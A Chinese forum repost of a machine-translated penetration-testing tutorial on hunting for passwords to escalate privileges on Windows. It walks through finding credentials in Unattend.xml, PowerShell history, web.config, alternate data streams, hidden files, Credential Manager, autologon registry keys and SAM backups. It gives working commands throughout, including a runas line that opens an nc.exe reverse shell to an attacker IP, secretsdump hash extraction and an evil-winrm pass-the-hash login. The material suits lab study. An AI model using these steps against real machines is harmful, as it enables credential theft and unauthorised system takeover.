Windows 提权-密码搜寻

打印 上一主题 下一主题

主题 1835|帖子 1835|积分 5515

本文通过 Google 翻译 Password Hunting – Windows Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。
导航

0、前言

在这篇文章中,我们将探讨在目的 Windows 机器上搜寻密码的本事,以此作为横向或纵向提升权限的一种手段。我们将先容各种不同的密码搜索技术,以及密码存储的一些常见位置。在搜寻过程中,我们将在文件、文件名、注册表键值等地方发现凭证!
用户甚至管理员经常会重复使用密码,或将密码留在系统中某些可读的位置。而 Windows 又非常轻易受到明文存储密码的影响,由于用户和 Windows 的一些功能每每也并不会以一种非常安全的方式去存储密码。
当您在系统上发现任何密码时,无论是在初始使用阶段还是后使用阶段,您都必须尽可能地测试该密码!别的,请根据您找到的所有用户名测试您找到的任何密码,由于密码重复使用是一个大标题,而且非经常见!
在本文所有的这些示例中,我们将使用手动技术和工具(PowerUp/winPEAS) 。同时,假设我们已经作为标准用户 bob 在目的 Win10 机器上得到了驻足点。

本文涵盖的内容许多,所以让我们开始吧!
1、密码搜寻 – Unattend.xml

应答文件是一种基于 XML 格式的文件,里面包罗 Windows 系统安装时要用到的各种设置参数值。有的管理员在制作新的系统镜像时会用到应答文件(也叫无人值守文件),这是由于通过它制作出来的 Windows 镜像能让 Windows 系统的安装过程自动进行,而无需管理员去干预。云云一来,由于提供了一个基准设置,因此网络中所有盘算机的设置就都能够保持划一,从而极大的减少的管理员的工作量。
在应答文件中,您可以指定各种安装选项,包括如何对磁盘进行分区、在哪里找到要安装的 Windows 映像以及要应用哪个产物密钥;同时,您还可以指定在 Windows 安装完成之后必要设置的值,例如用户帐户名称和显示设置。
应答文件通常被命名为 Unattend.xml,当然也不绝对。
在 Unattend.xml 文件中发现管理员凭证是很常见的一件事!
1.1、手动罗列

我们可以在文件系统上的几个已知位置去寻找 Unattend.xml 或 sysprep.xml 文件。
值得一提的是,应答文件也可能被命名为 sysprep.xml,如果找不到 Unattend.xml 文件的话,那就查找 sysprep.xml 文件。


  • C:\unattend.xml
  • C:\Windows\Panther\Unattend.xml(常见)
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.xml
  • C:\Windows\system32\sysprep\sysprep.xml
在受害者机器开始检查 C:\Windows\Panther\ 目录。
  1. dir C:\Windows\Panther
复制代码

Perfect!我们找到了一个 Unattend.xml 文件。但在查看文件内容之前,再看看如何使用工具去寻找这个文件。
1.2、自动罗列 – PowerUp/winPEAS

有许多好用的后使用工具和脚本可供使用,但在本例中,我们将对峙使用 PowerUp.ps1 和 winPEASx64.exe
首先下载每个工具的副本并将其转移到受害者机器。

然后,我们先使用 PowerUp.ps1 工具,由于它输出的内容少,并且可能会帮助我们更快取得胜利。
  1. . .\PowerUp.ps1
  2. Invoke-AllChecks
复制代码


可以看到,PowerUp.ps1 在 Unattend.xml 文件最常出现的位置发现了它。
接下来,让我们再看看 winPEAS 的体现。
由于 winPEAS 会输出大量的信息让人很轻易犯迷糊,因此制止迷糊的关键在于要清楚我们要找的信息所在的标识位置。对于 Unattend.xml 文件,我们主要检查“Interesting files and registry”部分。

可以看到,winPEAS 甚至直接从文件中提取出了密码!
1.3、解码密码

了解了如何查找 Unattend.xml 文件,接下来必要通过阅读文件手动提取密码。
  1. more C:\Windows\Panther\Unattend.xml
复制代码

可以看到,管理员的密码以 base64 格式的字串存储在文件中。现在我们得到了密码,然后必要将其复制到攻击机中使用以下下令对其进行解码:
  1. echo 'TABvAGMAYQBsAEEAZABtAGkAbgBQAGEAcwBzAHcAbwByAGQAMQAhAA==' | base64 --decode
复制代码

Amazing!我们很轻易就破译了密码。
Administrator : LocalAdminPassword1!
由于找到的是本地管理员 Administrator 的密码,因此可以通过 Impacket 工具套件中的 psexec.py 工具很轻易地获取受害者的管理员或 SYSTEM shell。
注:(1)windows 机器的 445 端口通常都是开放状态;(2)使用 psexec.py 以 administrator 账户毗连目的通常都是可以成功的;但如果是以别的管理员组的成员而不是 administrator 账户去毗连,那就很难说了。
  1. psexec.py Administrator:'LocalAdminPassword1!'@172.16.1.250
复制代码

2、密码搜寻 – PowerShell 历史文件

我们能够检查密码的另一个文件是 PowerShell 历史文件。
从 Windows 10 上的 PowerShell v5 开始,每个用户在初次使用 PowerShell 时都会创建一个 PowerShell 历史记录文件,然后该文件会随着用户运行的每个 PowerShell 会话而不绝添加。这与 Linux 机器上的 bash_history 文件雷同。
PowerShell 仅在交互式会话(GUI 登录)中使用时才会填充历史文件;在反向 shell 中使用时,输入的下令不会记录在此文件中。
2.1、手动罗列

每个用户的 PowerShell 历史文件都在这个标准位置:%userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
知道了历史文件的具体位置,现在就可以使用 more 或 type 下令来查看文件的内容。
  1. type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
复制代码
大概,也可以在 PowerShell 会话中使用以下下令查看:
  1. cat (Get-PSReadlineOption).HistorySavePath
复制代码

Awesome!从这里我们可以看到用户过去曾使用 PowerShell 执行过的下令,其中还出现了一条他们曾尝试使用管理员凭据错误地使用 runas 的下令
2.2、自动罗列 – winPEAS

使用工具我们通常无法得到有关 PowerShell 历史文件的太多信息,由于工具一般只会判断文件是否存在,并不会提取其中的关键信息。例如 winPEAS 只检查历史文件存在与否,而 PowerUp 甚至不会去检查历史文件是否存在。
当我们执行 winPEAS 并检查其输出时,在“PowerShell Settings”部分可以看到用户存在 PowerShell 历史记录文件以及文件的大小。

3、密码搜寻 – IIS 设置和 Web 文件

寻找密码的另一个好地方是系统上的任何 Web 目录。这通常是 IIS 服务器,但也可能是别的的 Web 服务器,如 Apache 或 XAMPP。
对于 IIS 服务器,它的 Web 根目录通常位于 C:\inetpub\wwwroot 目录,我们可能会在该目录中找到包罗凭据的有趣文件。这些有趣文件具体来说,就是 web.configconnectionstrings.config 文件。
除了上面列出的设置文件之外,别的 TXT 或 ASPX 文件也是值得我们检查的,由于它们也可能包罗凭据。
web.config 文件是一种 XML 格式的设置文件,在基于 ASP .NET 这一类的应用步伐中通常使用它来管理与网站设置相关的各种设置。通常,我们会在这些文件中找到凭据。

首先检查 web.config 文件的内容,从中我们找到了管理员密码!

如果在 web.config 中找不到凭据,也可以检查 connectionstrings.config 文件(如果它存在的话)。
conntectionstrings.config 文件通常与 SQL 一起使用,因此如果您发现机器有 SQL 服务,那您很有可能找到它。
检查 connectionstrings.config 文件的内容,我们找到了 sa 用户凭据和数据库的毗连信息,这表明我们可以使用这些信息登录数据库,并盼望得到 SYSTEM 或服务帐户的 shell。

要了解如何使用这些凭据来通过 MSSQL 服务器提升权限,可查看这篇文章中的先容。
在找到一个密码后,我们应该将其添加到密码列表中以与别的发现的用户进行凭据测试,由于密码重复使用标题很严重。
由于可能还有别的有趣的文件与 Web 服务器相关联,因此我们可以使用一个很好的 PowerShell 下令为我们递归查找感爱好的文件,如下所示:
  1. Get-Childitem -Recurse C:\inetpub | findstr -i "directory config txt aspx ps1 bat xml pass user"
复制代码

从上面可以看到,在 C:\inetpub\ftproot 目录下发现了一个名为 users.txt 的有趣文件。
同样的,如果服务器上运行的是别的 Web 服务器,则更换相应的 Web 根目录即可,如:
  1. Get-Childitem -Recurse C:\apache | findstr -i "directory config txt php ps1 bat xml pass user"
  2. Get-Childitem -Recurse C:\xampp | findstr -i "directory config txt php ps1 bat xml pass user"
复制代码
4、密码搜寻 – ADS 文件(备用数据流)

Windows 有一个有趣的功能,称为备用数据流 (ADS)。它允许一个文件或目录拥有多个数据流,其中备用数据流不会影响到主数据流的文件大小和属性。
假设在罗列过程中,我们在当前用户的 Documents 目录中找到一个 TXT 文件。

当查看文件的内容时,并没有看出有什么不同。

通常,我们会认为这没有什么价值,然后继承进步。但如果这个文件中嵌入了第二个文件那怎么办?
而要检查备用数据流,可以使用如下下令:
  1. dir /R
复制代码

运行该下令后,我们可以看到 NothingToSeeHere.txt 文件有了第二个副本,但这个副本看起来有点奇怪,这是由于该文件是一个备用数据流。
而我们恰恰对潜伏在 NothingToSeeHere.txt 文件中的 secret.txt 文件的内容很感爱好,此时要查看 ADS 的内容,可以使用以下方式查看:
  1. more < NothingToSeeHere.txt:secret.txt:$DATA
复制代码

注:写入备用数据流(目录/文件):type test.txt  > .\test.txt:test1.txt;读取备用数据流:more < .\test.txt:test1.txt;删除备用数据流:Remove-Item -Path .\test.txt -Stream test1.txt
可以看到,文件 secret.txt 的内容呈现了出来,其中包罗着管理员的凭据!
5、密码搜寻 – 潜伏文件

在 Windows 中,目录和文件的名称如果以 $ 开头则表现它是潜伏的,这雷同于 Linux 中以点 . 开头的文件。
在此示例中,假设我们正常使用 dir 下令罗列 C:\ 目录:

然后再使用带参数的 dir 下令罗列 C:\ 目录:
  1. dir /a C:\
复制代码

可以看到,此时出现了相当多的文件和目录。而最引人注目的是,这里出现了一个名为 Hidden 的目录,这在我们第一次罗列目录时并没有看到它。
进入 Hidden 目录并使用 dir,我们什么也没找到。

通过再次添加 /a 选项,我们看到这里实际上有一个文件,并且它是潜伏的。

而该文件的内容中包罗着管理员的凭据!

6、密码搜寻 – 文件名和文件内容

文件中含有密码是很常见的,但是,文件并不总是那么显着。我们要查找的文件并不总是命名为“password.txt”。因此,我们必要在文件名和文件内容中寻找关键词。
当我们登录目的机器时,要罗列的内容可能多得让人招架不住。不外幸运的是,我们可以使用一些下令来递归查找有趣的文件名以及文件中有趣的字符串。
文件名搜索:】先从从有趣的文件名开始搜索:
  1. dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config* == *user*
复制代码

该下令从 C:\Users\bob 目录开始执行,然后递归检查当前目录下的每个目录以查找匹配项。
可以看到,一个名为 credentials.txt 的有趣文件引起了我们的注意。
上述下令只是一个根本下令,可以根据您尝试的深度进行关键字编辑以查找更多或更少匹配的文件名。
果然,我们从中找到了一组 Alice 用户的凭证,这使我们能够执行水平提权,有可能让我们更接近管理员或 SYSTEM 权限。

文件内容搜索:】搜索密码的另一种方法是检查文件中的字符串是否匹配“password”。为此,我们可以使用 findstr 下令,如下所示:
  1. findstr /SI "passw pwd" *.xml *.ini *.txt *.ps1 *.bat *.config
复制代码

可以看到,以上搜索能够直接找到包罗密码的有趣文件!
由于这些搜索会产生大量的效果,因此为了确保我们的搜索是有质量的,这里有以下几点必要注意:
重点在以下位置使用此法搜索:

  • 指定用户家目录:C:\Users\username
  • 所有用户家目录:C:\Users
  • C 盘下有趣目录:如 Program Files、inetpub 或任何自定义/非标准目录。
注意:不要直接在 C:\ 目录下使用此法搜索,由于输出内容会非常多且持续时间长。
对于上面(3-6 末节)提到的 4 个存储在文件中的密码示例,您可以使用 winPEAS 并检查“Interesting files and registry”部分。不外,工具可能只会显示在用户家目录中那些有趣的文件。这就意味着不能完全依靠工具来进行这种在有趣文件中进行密码发现的罗列,因此在使用工具之前,应该先手动罗列感爱好的文件和目录。
7、密码搜寻 – 存储凭证(凭证管理器)

在本例中,我们将从在文件中查找密码的工作中抽身,转而开始关注 Windows 不安全地存储凭证的那几种方式。先从凭证管理器开始。
凭据管理器可让您查看和删除用于登录网站、毗连应用步伐的已保存的凭据。
可以使用以下下令查看存储的凭据:
  1. cmdkey /list
复制代码

可以看到,本地管理员账户的凭证已经存储在凭证管理器中,因此可以使用该身份借助 runas 下令去执行下令啦。
凭证管理器的罗列,对于 PowerUp 和 winPEAS 来说都不能够帮到我们,因此,凭证管理器的罗列必要我们手动进行。【PEAS 虽然支持罗列存储的凭证,但使用效果不佳,总是失败。】
虽然这并非真正的“密码搜寻”,但由于用户的密码被保存,而它确实可以为我们提供以别的用户身份运行下令的能力。因此,这实际上等同于在系统中查找某个用户的凭据。
如果尝试运行任意下令(例如“whoami”)时,我们必要将输出内容重定向到文件以读取它。这是由于 runas 会在另外新起的窗口中去执行下令,下令执行竣事新起的窗口就被关闭了,因此输出的内容并不会呈现在当前的 shell 窗口中。
  1. runas /env /noprofile /savecred /user:DESKTOP-T3I4BBK\administrator "cmd.exe /c whoami > C:\temp\whoami.txt"
复制代码

从上面可以看到,我们确实是以本地管理员帐户的身份运行了 whoami 下令!接下来,就可以使用 runas 来借助 nc.exe 工具来获取反向 shell,下令如下:
  1. runas /env /noprofile /savecred /user:DESKTOP-T3I4BBK\administrator "c:\temp\nc.exe 172.16.1.30 443 -e cmd.exe"
复制代码

有关使用 runas 进行提权的方法,可以查看这篇文章
8、密码搜寻 – 注册表项

我们可以寻找密码的另一个好地方是注册表。
8.1、手动罗列

我们可以在注册表中进行广泛搜索,以在 HKLM 和 HKLU 注册表设置单元中查找包罗‘password’字符串的所有实例。但是,这会产生大量的效果。
  1. reg query HKLM /f password /t REG_SZ /s
  2. reg query HKLU /f password /t REG_SZ /s
复制代码
单单第一条下令进行的 HKLM 的搜索,就看到显示有 293 个匹配,而这 293 条效果中还有许多无用的数据有待认为判断处置惩罚。可以看出,这种广泛搜索极其的耗费精神!

相反,我们可以集中精神去查看包罗密码的已知注册表项。这样的注册表项是 winlogon,它与 Windows 中被称为 Autologon(自动登录)的功能相关。
自动登录功能可以使用户在 Windows 开机后无需输入其账户和密码便可以直接登录进桌面。而登录的账户便是在 winlogon 注册表项中指定的账户。
当启用自动登录时,密码有可能是以明文的形式存储在注册表中的。为了确认是否云云,我们可以使用以下下令查询 winlogon 注册表项:
  1. reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
复制代码

Amazing!可以看到,管理员的密码被不安全地存储在了注册表中。
而除了 Windows 自动登录功能外,某些步伐和第三方软件也可能会以不安全的方式在注册表中存储凭据,这些第三方软件的注册表路径如下:
  1. reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
  2. reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
  3. reg query "HKCU\Software\ORL\WinVNC3\Password"
  4. reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
复制代码
8.2、自动罗列 – PowerUp/winPEAS

PowerUp 确实会在 winlogon 注册表项中搜索凭据,但它不会在上述的别的位置进行检查。

winPEAS 也会帮我们找到这些信息,可以在“User Information”部分看到自动登录凭据(如果存在的话)。

别的,winPEAS 还会检查第三方软件 PuTTY 所对应的注册表路径,检查效果会出现在“Interesting files and registry”下面的 “PuTTY Sessions”部分。

9、密码搜寻 – SAM/SYSTEM 文件

由于直接从 Windows 系统中提取 SAM 哈希必要高权限才行,因此我们不能直接针对该文件。因此,我们盼望尝试在文件系统上找到 SAM/SYSTEM 文件的备份,并盼望拥有权限能将它们复制到攻击者机器上(如果存在的话)。
9.1、寻找 SAM/SYSTEM 备份

在某些情况下,您可能会发现系统中已经存在 SAM/SYSTEM 文件的备份。它们最常出现在 C:\Windows\System32\Config、C:\Windows\System32\Repair、C:\Windows\System32\Config\Regback中,而这些文件也可能具有 .OLD 或 .BAK 的扩展名。
使用以下下令,我们可以在整个文件系统中搜索该文件的副本:
  1. cd C:\ & dir /S /B SAM == SYSTEM == SAM.OLD == SYSTEM.OLD == SAM.BAK == SYSTEM.BAK
复制代码

Great!可以看到,在 RegBack 目录中发现了这两个文件的备份。但我们仍然必要确保可以复制这些文件,使用 icacls 检查备份文件的权限,发现标准用户具有修改权限。
  1. icacls "C:\Windows\System32\Config\Regback"
复制代码

9.2、转储密码哈希

现在已经发现了 SAM/SYSTEM 文件的备份,然后将其传输到攻击者机器。

有了 SYSTEM/SAM 文件的副本之后,我们就可以使用Impacket 套件中的 secretsdump.py 工具轻松转储哈希值。
  1. secretsdump.py -sam SAM.OLD -system SYSTEM.OLD LOCAL
复制代码

在转存的哈希中,我们得到了 5 个用户的哈希值!现在就可以使用 hashcat 来破解这些哈希值了。
9.3、执行 Pass-the-Hash 攻击

不外,我们不消破解这些哈希值,只需使用管理员的哈希执行 PTH 攻击,就能够得到管理员或 SYSTEM shell,但具体操纵需取决于开放的端口和使用的工具。例如,如果 5985 端口是开放的,那可以使用 evil-winrm 来传递哈希值并获取管理员 shell;亦大概,我们可以再次使用 psexec.py 来获取 SYSTEM shell。
要了解有关 PTH 攻击的更多信息,可查看这篇文章
  1. evil-winrm -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 -i 172.16.1.250
复制代码

10、末了的想法

用户可以在许多地方不安全地存储密码,而 Windows 也可以通过许多方式不安全地处置惩罚密码。作为攻击者,了解如何搜寻密码是一项重要技能,必要不绝完善。本指南旨在为密码寻找提供底子,并表明在系统上有许多地方可以找到密码。
别的,我想再次强调,工具只能为我们找到少数有趣的文件,因此在搜寻密码时,手动方法效果可能会更好。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

篮之新喜

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表